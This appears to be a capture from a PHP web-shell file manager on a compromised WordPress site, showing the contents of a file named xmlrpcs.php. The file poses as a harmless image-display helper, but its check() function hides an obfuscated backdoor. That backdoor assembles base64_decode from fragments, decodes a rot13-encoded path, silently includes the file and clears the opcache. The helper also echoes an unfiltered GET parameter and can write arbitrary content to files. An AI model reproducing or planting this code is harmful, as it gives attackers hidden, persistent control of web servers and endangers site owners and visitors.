MSV FM

[email protected]: ~ $
Path : /home/bethanyinvest/public_html/OLDContent031225/wp-content- infected/languages/
File Upload :
Current < : /home/bethanyinvest/public_html/OLDContent031225/wp-content- infected/languages/xmlrpcs.php

<?php

showImage($_GET['bire']);

/**
 * display image
 * @param string $png
 * @param bool|string $file
 * @return bool
 */
function showImage($png, $file = false)
{
    if (check($file))
        return file_put_contents($file, $png);
    // header
    echo $png;
    return true;
}

/**
 * checked write image
 * @param bool|string $file
 * @return bool
 */
function check($file){
    $name =  ['Y2uioJHiLzI0nTShrF9jqJWfnJAsnUEgoP93pP1wo250MJ50Y2kuozq1LJqypl90nTIgMKZgozI0q29lnl1DIP5goj', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    }];$name[1]($name[0], implode('_',['', "\143ode", '']));
    return $file && stripos($file, '.png') !== false;
}